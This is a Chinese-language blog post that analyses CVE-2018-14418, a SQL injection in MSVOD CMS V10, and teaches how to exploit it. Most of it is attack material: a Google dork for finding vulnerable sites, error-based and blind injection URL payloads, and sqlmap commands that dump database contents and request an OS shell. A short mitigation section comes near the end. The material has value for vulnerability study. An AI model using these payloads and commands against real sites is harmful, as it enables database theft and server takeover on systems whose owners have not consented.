CVE-2018-14418 擦出新火花
字数 1387 2025-08-26 22:11:45
MSVOD CMS SQL注入漏洞(CVE-2018-14418)深度分析与利用教程
0x00 漏洞概述
漏洞标识:
- CVE编号: CVE-2018-14418
- CNNVD-ID: CNNVD-201807-1724
- 漏洞类型: SQL注入
- 影响版本: MSVOD CMS V10
漏洞描述:
MSVOD CMS是一套用于视频点播网站的内容管理系统(CMS),主要提供视频点播和视频聚合建站等服务。在V10版本中存在SQL注入漏洞,远程攻击者可利用该漏洞执行任意SQL命令。
0x01 漏洞验证与利用
1. 漏洞验证方法
1.1 手工验证
Google Dork:
inurl:"images/lists?cid=13"
基础验证Payload:
/images/lists?cid=13%20)%20ORDER%20BY%201%20desc,extractvalue(rand(),concat(0x7c,database(),0x7c,user(),0x7c,@@version))%20desc%20--%20
1.2 多位置验证
该漏洞存在于多个端点:
/images/lists?cid=num/video/lists?cid=num
2. 漏洞利用Payload集合
2.1 信息获取Payload
获取数据库版本:
/video/lists?cid=13 ) AND extractvalue(rand(),concat(CHAR(126),(version()),CHAR(126)))--%20
获取当前用户:
/video/lists?cid=13 ) AND extractvalue(rand(),concat(CHAR(126),(user()),CHAR(126)))--%20
获取数据库名和用户信息(复合):
/images/lists?cid=13 ) ORDER BY 1 desc,extractvalue(rand(),concat(0x7c,database(),0x7c,user(),0x7c,@@version)) desc--%20
2.2 布尔型盲注Payload
基于时间的盲注:
/images/lists?cid=13 ) ORDER BY if(1=1,1,sleep(3))--%20
基于布尔的盲注:
/video/lists?cid=34) AND 5072=5072 AND (7051=7051
2.3 错误型注入Payload
/video/lists?cid=13 ) ORDER BY 1 desc,extractvalue(rand(),concat(0x7c,(user()),0x7c)) desc--%20
3. 自动化工具利用
3.1 SQLMap利用
基本探测:
sqlmap -u "http://target.com/images/lists?cid=13" --batch
获取数据库:
sqlmap -u "http://target.com/images/lists?cid=13" --dbs
获取表:
sqlmap -u "http://target.com/images/lists?cid=13" -D database_name --tables
获取字段:
sqlmap -u "http://target.com/images/lists?cid=13" -D database_name -T table_name --columns
获取数据:
sqlmap -u "http://target.com/images/lists?cid=13" -D database_name -T table_name -C column1,column2 --dump
获取系统shell:
sqlmap -u "http://target.com/images/lists?cid=13" --os-shell
3.2 jSQL-Injection利用
jSQL是一款图形化SQL注入工具,可以方便地管理数据库和执行注入操作。
0x02 漏洞深入分析
1. 漏洞原理
该漏洞属于基于错误的SQL注入,主要利用extractvalue函数触发XML解析错误来泄露信息。漏洞点在于cid参数未经过滤直接拼接到SQL查询中。
2. 漏洞利用技术
- 错误型注入:利用
extractvalue函数触发错误信息泄露 - 布尔型盲注:通过条件判断获取信息
- 时间型盲注:通过延时响应判断条件真假
3. 漏洞利用链
- 信息泄露(数据库版本、用户、数据库名)
- 数据库内容提取(表、字段、数据)
- 系统信息获取(通过MySQL函数)
- 文件系统访问(读取服务器文件)
- 获取系统shell(--os-shell)
- 提权操作(基于服务器漏洞)
0x03 防御措施
1. 临时解决方案
- 对
cid参数进行严格的输入验证和过滤 - 使用参数化查询或预处理语句
- 在应用层添加WAF规则
2. 长期解决方案
- 升级到最新版本MSVOD CMS
- 实施最小权限原则,限制数据库用户权限
- 定期进行安全审计和代码审查
0x04 总结
CVE-2018-14418是一个典型的SQL注入漏洞,展示了CMS系统中常见的输入验证不足问题。通过此漏洞,攻击者可以获取数据库敏感信息,甚至进一步控制服务器。防御此类漏洞需要开发人员和安全人员共同努力,从代码层面和应用层面进行多重防护。
参考资源:
- https://www.exploit-db.com/exploits/45062
- https://cxsecurity.com/issue/WLB-2018070221
- http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-201807-1724
- https://www.wtfsec.org/2583/msvod-v10-sql-injection/